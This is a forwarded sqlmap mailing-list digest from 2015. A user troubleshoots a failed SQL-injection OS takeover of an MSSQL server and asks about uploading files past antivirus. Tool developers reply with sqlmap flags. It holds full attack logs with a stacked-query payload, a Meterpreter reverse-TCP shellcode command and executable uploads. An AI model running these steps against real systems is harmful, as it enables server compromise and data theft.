----- Messaggio originale -----
Da: "sqlmap-users-requ...@lists.sourceforge.net"
<sqlmap-users-requ...@lists.sourceforge.net>
Inviato: โ02/โ07/โ2015 14:02
A: "sqlmap-users@lists.sourceforge.net" <sqlmap-users@lists.sourceforge.net>
Oggetto: sqlmap-users Digest, Vol 50, Issue 2
Send sqlmap-users mailing list submissions to
sqlmap-users@lists.sourceforge.net
To subscribe or unsubscribe via the World Wide Web, visit
https://lists.sourceforge.net/lists/listinfo/sqlmap-users
or, via email, send a message with subject or body 'help' to
sqlmap-users-requ...@lists.sourceforge.net
You can reach the person managing the list at
sqlmap-users-ow...@lists.sourceforge.net
When replying, please edit your Subject line so it is more specific
than "Re: Contents of sqlmap-users digest..."
Today's Topics:
1. Error with operating system takeover (meterpreter)
(Peter Laboratra)
2. Upload file with SQL Injection (Peter Laboratra)
3. Re: Upload file with SQL Injection (Brandon Perry)
4. Re: Error with operating system takeover (meterpreter)
(Miroslav Stampar)
5. Re: Error with operating system takeover (meterpreter)
(Peter Laboratra)
6. Re: Error with operating system takeover (meterpreter)
(Miroslav Stampar)
7. Re: Error with operating system takeover (meterpreter)
(Peter Laboratra)
----------------------------------------------------------------------
Message: 1
Date: Wed, 1 Jul 2015 20:25:20 +0530
From: Peter Laboratra <mypentest...@gmail.com>
Subject: [sqlmap-users] Error with operating system takeover
(meterpreter)
To: sqlmap-users@lists.sourceforge.net
Message-ID:
<CAGr38JNrhJBHa23WuMDw=byui_gb2ge3kvodgrgjd+uebkk...@mail.gmail.com>
Content-Type: text/plain; charset="utf-8"
Hi All,
In first phase of our test we discovered Target URL is vulnerable and we
managed to retrieved lots of information such as --users, --dbs, some of
--tables and lots more. All this retrieval was very slow probably due to
time-based vulnerability; however tried through all (BEUSTQ) and found same
state.
During an attempt after few days of our success we noticed some of the
parameter is not working and we are receiving errors like for instance
during requery for --users we received error "[09:39:23] [CRITICAL] unable
to retrieve the number of database users". During requery for -U sa
--passwords we received "unnable to retrieve the password hashes for the
database users (probably because the session user has no read privileges
over the relevant system database table)".
We moved to OS takeover, initially get error for xp_cmdshell however
activated and confirmed using SQLNinja and moved on to get --os-shell,
executed some of commands like "hostname", "whoami" and successfully
retrieved its output.
Now after few minutes we noted that we are not getting any output of any
command with message "No output".
We moved to --os-pwn + --msf-path, But again with no success on meterpreter
or VNC.
received error "HTTP error codes detected during run:
404 (Not Found) - 1 times"
I'm attaching screen log, please help me with this if thr is any scope
available.
Thanks in Advance.
-------screen logs start-------
root@kali:~# sqlmap -r mytarget_login -p testNumber --technique=S
--dbms=mssql --os-pwn --msf-path="/opt/metasploit/apps/pro/msf3" -t
test_msf7 -v 2
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150519}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior
mutual consent is illegal. It is the end user's responsibility to obey all
applicable local, state and federal laws. Developers assume no liability
and are not responsible for any misuse or damage caused by this program
[*] starting at 10:03:33
mytarget_login
[10:03:33] [INFO] parsing HTTP request from 'mytarget_login'
[10:03:33] [DEBUG] not a valid WebScarab log data
[10:03:33] [DEBUG] cleaning up configuration parameters
test_msf7
mytarget_login
/opt/metasploit/apps/pro/msf3
[10:03:33] [INFO] setting file for logging HTTP traffic
[10:03:33] [DEBUG] setting the HTTP timeout
[10:03:33] [DEBUG] creating HTTP requests opener object
[10:03:33] [DEBUG] forcing back-end DBMS to user defined value
[10:03:33] [DEBUG] setting the takeover out-of-band functionality
[10:03:33] [DEBUG] provided Metasploit Framework path
'/opt/metasploit/apps/pro/msf3' is valid
[10:03:33] [DEBUG] provided parameter 'testNumber' is not inside the Cookie
[10:03:33] [DEBUG] resolving hostname 'mytarget.com'
[10:03:33] [INFO] testing connection to the target URL
[10:03:48] [DEBUG] declared web page charset 'utf-8'
sqlmap got a 302 redirect to '
https://mytarget.com/tryexample_ex/prelacego.aspx'. Do you want to follow?
[Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST
data to a new location? [Y/n] Y
[10:03:56] [DEBUG] SSL connection error occurred ('[Errno 104] Connection
reset by peer')
[10:03:56] [DEBUG] heuristically checking if the target is protected by
some kind of WAF/IPS/IDS
sqlmap identified the following injection points with a total of 0 HTTP(s)
requests:
---
Parameter: testNumber (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload:
example3String=MQ|MQ|MQ|MQ|MQ|MQ|MQ|MQ|MQ|MQ&tryID=2&Totalexample2=1&example2Pointer=0&testNumber=333333333333';
WAITFOR DELAY '0:0:5'--&testPassword=3243
Vector: ; IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--
---
[10:03:56] [INFO] testing Microsoft SQL Server
[10:03:56] [INFO] confirming Microsoft SQL Server
[10:03:56] [INFO] the back-end DBMS is Microsoft SQL Server
back-end DBMS: Microsoft SQL Server 2008
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
> 1
[10:04:00] [DEBUG] going to use D:/Program Files/Microsoft SQL
Server/MSSQ^10.MSSQLSERVER/MSSQLaLo? as temporary files directory
[10:04:00] [INFO] testing if current user is DBA
[10:04:00] [DEBUG] creating a support table to write commands standard
output to
[10:04:00] [WARNING] time-based comparison requires larger statistical
model, please wait..............................
[10:04:04] [WARNING] it is very important not to stress the network adapter
during usage of time-based payloads to prevent potential errors
[10:04:04] [INFO] testing if xp_cmdshell extended procedure is usable
[10:04:04] [DEBUG] performed 3 queries in 0.26 seconds
[10:04:04] [WARNING] in case of continuous data retrieval problems you are
advised to try a switch '--no-cast' or switch '--hex'
[10:04:05] [ERROR] unable to retrieve xp_cmdshell output
[10:04:05] [INFO] creating Metasploit Framework multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine
(default)
[2] Reverse TCP: Try to connect back from the database host to this
machine, on all ports example3ween the specified and 65535
[3] Reverse HTTP: Connect back from the database host to this machine
tunnelling traffic over HTTP
[4] Reverse HTTPS: Connect back from the database host to this machine
tunnelling traffic over HTTPS
[5] Bind TCP: Listen on the database host for a connection
> 1
what is the local address? [192.168.1.8]
which local port number do you want to use? [61371]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
> 1
[10:04:17] [DEBUG] executing local command:
/opt/metasploit/apps/pro/msf3/msfpayload windows/meterpreter/reverse_tcp
EXITFUNC=process MQORT=61371 LHOST=192.168.1.8 R |
/opt/metasploit/apps/pro/msf3/msfencode -a x86 -e x86/aMQha_mixed -o
"/root/.sqlmap/output/mytarget.com/tmpmbykt" -t raw BufferRegister=EAX
[10:04:17] [INFO] creation in progress .................. done
[10:04:35] [DEBUG] the shellcode size is 308 bytes
[10:04:35] [INFO] uploading shellcodeexec to 'D:/Program Files/Microsoft
SQL Server/MSSQ^10.MSSQLSERVER/MSSQLaLo?/tmpsebykt.exe'
[10:04:35] [DEBUG] going to upload the binary file with stacked query SQL
injection technique
[10:04:35] [INFO] using PowerShell to write the binary file content to file
'D:\Program Files\Microsoft SQL
Server\MSSQ^10.MSSQLSERVER\MSSQLaLo?\tmpsebykt.exe'
[10:04:35] [DEBUG] uploading the base64-encoded file to D:\Program
Files\Microsoft SQL Server\MSSQ^10.MSSQLSERVER\MSSQLaLo?\tmpfidjf.txt,
please wait..
[10:04:36] [DEBUG] uploading the PowerShell base64-decoding script to
D:\Program Files\Microsoft SQL
Server\MSSQ^10.MSSQLSERVER\MSSQLaLo?\tmppsbcbi.ps1
[10:04:36] [DEBUG] executing the PowerShell base64-decoding script to write
the D:\Program Files\Microsoft SQL
Server\MSSQ^10.MSSQLSERVER\MSSQLaLo?\tmpsebykt.exe file, please wait..
[10:04:37] [WARNING] if you experience problems with non-ASCII identifier
names you are advised to rerun with '--tamper=charunicodeencode'
[10:04:37] [DEBUG] checking the length of the remote file D:\Program
Files\Microsoft SQL Server\MSSQ^10.MSSQLSERVER\MSSQLaLo?\tmpsebykt.exe
[10:04:37] [INFO] retrieved:
[10:04:37] [DEBUG] performed 3 queries in 0.26 seconds
[10:04:37] [WARNING] it looks like the file has not been written (usually
occurs if the DBMS process' user has no write privileges in the destination
path)
do you want to try to upload the file with the custom Visual Basic script
technique? [Y/n] Y
[10:04:41] [INFO] using a custom visual basic script to write the binary
file content to file 'D:\Program Files\Microsoft SQL
Server\MSSQ^10.MSSQLSERVER\MSSQLaLo?\tmpsebykt.exe', please wait..
[10:04:41] [DEBUG] uploading the file base64-encoded content to D:\Program
Files\Microsoft SQL Server\MSSQ^10.MSSQLSERVER\MSSQLaLo?\tmpfegab.txt,
please wait..
[10:04:41] [CRITICAL] page not found (404)
[10:04:41] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 1 times
[10:04:41] [DEBUG] too many 4xx and/or 5xx HTTP error codes could mean that
some kind of protection is involved (e.g. WAF)
[*] shutting down at 10:04:41
root@kali:~#
-------screen logs end-------
Please help!!
-------------- next part --------------
An HTML attachment was scrubbed...
------------------------------
Message: 2
Date: Wed, 1 Jul 2015 20:32:01 +0530
From: Peter Laboratra <mypentest...@gmail.com>
Subject: [sqlmap-users] Upload file with SQL Injection
To: sqlmap-users@lists.sourceforge.net
Message-ID:
<CAGr38JNfRqwtyCmmzEOcLRmRHJW5=7Qm_e2y0njqjfEh8WH=e...@mail.gmail.com>
Content-Type: text/plain; charset="utf-8"
Hi All,
Need help in uploading a non-malicious file on vulnerable target.
In several cases I noted that shell upload or meterpreter fails due to an
effective & active Anti-Virus installed on vulnerable target as it got
delete due to malicious nature (even after certain level of msf encoding.
I also noted that in most of the cases method of uploading using
--sql-shell fail due to lack of stack-query related issues.
In that case is there a way to upload a file which is not malicious if
objective is not to take control of system and just requires uploading a
file.
-------------- next part --------------
An HTML attachment was scrubbed...
------------------------------
Message: 3
Date: Wed, 1 Jul 2015 10:10:47 -0500
From: Brandon Perry <bperry.volat...@gmail.com>
Subject: Re: [sqlmap-users] Upload file with SQL Injection
To: Peter Laboratra <mypentest...@gmail.com>
Cc: sqlmap users <sqlmap-users@lists.sourceforge.net>
Message-ID:
<caojkfbbjvph01mapjdr1yo2rmg-y77rpgoqzue16vyh2hql...@mail.gmail.com>
Content-Type: text/plain; charset="utf-8"
--file-write allows you to write a file, and has the ability to check if
the file was written by testing the size of the file to the file locally
you have written to ensure it was written ~correctly.
On Wed, Jul 1, 2015 at 10:02 AM, Peter Laboratra <mypentest...@gmail.com>
wrote:
> Hi All,
>
> Need help in uploading a non-malicious file on vulnerable target.
>
> In several cases I noted that shell upload or meterpreter fails due to an
> effective & active Anti-Virus installed on vulnerable target as it got
> delete due to malicious nature (even after certain level of msf encoding.
>
> I also noted that in most of the cases method of uploading using
> --sql-shell fail due to lack of stack-query related issues.
>
> In that case is there a way to upload a file which is not malicious if
> objective is not to take control of system and just requires uploading a
> file.
>
>
>
>
>
> ------------------------------------------------------------------------------
> Don't Limit Your Business. Reach for the Cloud.
> GigeNET's Cloud Solutions provide you with the tools and support that
> you need to offload your IT needs and focus on growing your business.
> Configured For All Businesses. Start Your Cloud Today.
> https://www.gigenetcloud.com/
> _______________________________________________
> sqlmap-users mailing list
> sqlmap-users@lists.sourceforge.net
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>
--
http://volatile-minds.blogspot.com -- blog
http://www.volatileminds.net -- website
-------------- next part --------------
An HTML attachment was scrubbed...
------------------------------
Message: 4
Date: Thu, 2 Jul 2015 00:26:30 +0200
From: Miroslav Stampar <miroslav.stam...@gmail.com>
Subject: Re: [sqlmap-users] Error with operating system takeover
(meterpreter)
To: Peter Laboratra <mypentest...@gmail.com>
Cc: SqlMap List <sqlmap-users@lists.sourceforge.net>
Message-ID:
<ca+9yox1thaqtbb9upsyjwahbcvbn4h-w3q+_tm47fqf8lqp...@mail.gmail.com>
Content-Type: text/plain; charset="utf-8"
Hi.
1) First of all, please don't restrain sqlmap to only use "stacked" SQLi.
That way you'll kill the possibility to get perfectly valid results with
other techniques
2) In current state, you've got some "trashy" characters (because of
combination of laggy connection and stacked SQLi), like: "D:/Program
Files/Microsoft SQL Server/MSSQ^10.MSSQLSERVER/MSSQLaLo ?". Please use
--fresh-queries in such situations (once per run where you expect resume of
trashy chars) to force sqlmap to try to retrieve the problematic value once
again.
Bye
On Wed, Jul 1, 2015 at 4:55 PM, Peter Laboratra <mypentest...@gmail.com>
wrote:
> Hi All,
>
> In first phase of our test we discovered Target URL is vulnerable and we
> managed to retrieved lots of information such as --users, --dbs, some of
> --tables and lots more. All this retrieval was very slow probably due to
> time-based vulnerability; however tried through all (BEUSTQ) and found same
> state.
>
> During an attempt after few days of our success we noticed some of the
> parameter is not working and we are receiving errors like for instance
> during requery for --users we received error "[09:39:23] [CRITICAL] unable
> to retrieve the number of database users". During requery for -U sa
> --passwords we received "unnable to retrieve the password hashes for the
> database users (probably because the session user has no read privileges
> over the relevant system database table)".
>
> We moved to OS takeover, initially get error for xp_cmdshell however
> activated and confirmed using SQLNinja and moved on to get --os-shell,
> executed some of commands like "hostname", "whoami" and successfully
> retrieved its output.
>
> Now after few minutes we noted that we are not getting any output of any
> command with message "No output".
>
> We moved to --os-pwn + --msf-path, But again with no success on
> meterpreter or VNC.
> received error "HTTP error codes detected during run:
> 404 (Not Found) - 1 times"
>
> I'm attaching screen log, please help me with this if thr is any scope
> available.
> Thanks in Advance.
>
>
>
> -------screen logs start-------
>
> root@kali:~# sqlmap -r mytarget_login -p testNumber --technique=S
> --dbms=mssql --os-pwn --msf-path="/opt/metasploit/apps/pro/msf3" -t
> test_msf7 -v 2
> _
> ___ ___| |_____ ___ ___ {1.0-dev-nongit-20150519}
> |_ -| . | | | .'| . |
> |___|_ |_|_|_|_|__,| _|
> |_| |_| http://sqlmap.org
>
> [!] legal disclaimer: Usage of sqlmap for attacking targets without prior
> mutual consent is illegal. It is the end user's responsibility to obey all
> applicable local, state and federal laws. Developers assume no liability
> and are not responsible for any misuse or damage caused by this program
>
> [*] starting at 10:03:33
>
> mytarget_login
> [10:03:33] [INFO] parsing HTTP request from 'mytarget_login'
> [10:03:33] [DEBUG] not a valid WebScarab log data
> [10:03:33] [DEBUG] cleaning up configuration parameters
> test_msf7
> mytarget_login
> /opt/metasploit/apps/pro/msf3
> [10:03:33] [INFO] setting file for logging HTTP traffic
> [10:03:33] [DEBUG] setting the HTTP timeout
> [10:03:33] [DEBUG] creating HTTP requests opener object
> [10:03:33] [DEBUG] forcing back-end DBMS to user defined value
> [10:03:33] [DEBUG] setting the takeover out-of-band functionality
> [10:03:33] [DEBUG] provided Metasploit Framework path
> '/opt/metasploit/apps/pro/msf3' is valid
> [10:03:33] [DEBUG] provided parameter 'testNumber' is not inside the Cookie
> [10:03:33] [DEBUG] resolving hostname 'mytarget.com'
> [10:03:33] [INFO] testing connection to the target URL
> [10:03:48] [DEBUG] declared web page charset 'utf-8'
> sqlmap got a 302 redirect to '
> https://mytarget.com/tryexample_ex/prelacego.aspx'. Do you want to
> follow? [Y/n] Y
> redirect is a result of a POST request. Do you want to resend original
> POST data to a new location? [Y/n] Y
> [10:03:56] [DEBUG] SSL connection error occurred ('[Errno 104] Connection
> reset by peer')
> [10:03:56] [DEBUG] heuristically checking if the target is protected by
> some kind of WAF/IPS/IDS
> sqlmap identified the following injection points with a total of 0 HTTP(s)
> requests:
> ---
> Parameter: testNumber (POST)
> Type: stacked queries
> Title: Microsoft SQL Server/Sybase stacked queries
> Payload:
> example3String=MQ|MQ|MQ|MQ|MQ|MQ|MQ|MQ|MQ|MQ&tryID=2&Totalexample2=1&example2Pointer=0&testNumber=333333333333';
> WAITFOR DELAY '0:0:5'--&testPassword=3243
> Vector: ; IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--
> ---
> [10:03:56] [INFO] testing Microsoft SQL Server
> [10:03:56] [INFO] confirming Microsoft SQL Server
> [10:03:56] [INFO] the back-end DBMS is Microsoft SQL Server
> back-end DBMS: Microsoft SQL Server 2008
> how do you want to establish the tunnel?
> [1] TCP: Metasploit Framework (default)
> [2] ICMP: icmpsh - ICMP tunneling
> > 1
> [10:04:00] [DEBUG] going to use D:/Program Files/Microsoft SQL
> Server/MSSQ^10.MSSQLSERVER/MSSQLaLo ? as temporary files directory
> [10:04:00] [INFO] testing if current user is DBA
> [10:04:00] [DEBUG] creating a support table to write commands standard
> output to
> [10:04:00] [WARNING] time-based comparison requires larger statistical
> model, please wait..............................
> [10:04:04] [WARNING] it is very important not to stress the network
> adapter during usage of time-based payloads to prevent potential errors
> [10:04:04] [INFO] testing if xp_cmdshell extended procedure is usable
> [10:04:04] [DEBUG] performed 3 queries in 0.26 seconds
> [10:04:04] [WARNING] in case of continuous data retrieval problems you are
> advised to try a switch '--no-cast' or switch '--hex'
> [10:04:05] [ERROR] unable to retrieve xp_cmdshell output
> [10:04:05] [INFO] creating Metasploit Framework multi-stage shellcode
> which connection type do you want to use?
> [1] Reverse TCP: Connect back from the database host to this machine
> (default)
> [2] Reverse TCP: Try to connect back from the database host to this
> machine, on all ports example3ween the specified and 65535
> [3] Reverse HTTP: Connect back from the database host to this machine
> tunnelling traffic over HTTP
> [4] Reverse HTTPS: Connect back from the database host to this machine
> tunnelling traffic over HTTPS
> [5] Bind TCP: Listen on the database host for a connection
> > 1
> what is the local address? [192.168.1.8]
> which local port number do you want to use? [61371]
> which payload do you want to use?
> [1] Meterpreter (default)
> [2] Shell
> [3] VNC
> > 1
> [10:04:17] [DEBUG] executing local command:
> /opt/metasploit/apps/pro/msf3/msfpayload windows/meterpreter/reverse_tcp
> EXITFUNC=process MQORT=61371 LHOST=192.168.1.8 R |
> /opt/metasploit/apps/pro/msf
[il messaggio originale non รจ incluso]
------------------------------------------------------------------------------
Don't Limit Your Business. Reach for the Cloud.
GigeNET's Cloud Solutions provide you with the tools and support that
you need to offload your IT needs and focus on growing your business.
Configured For All Businesses. Start Your Cloud Today.
https://www.gigenetcloud.com/
_______________________________________________
sqlmap-users mailing list
sqlmap-users@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/sqlmap-users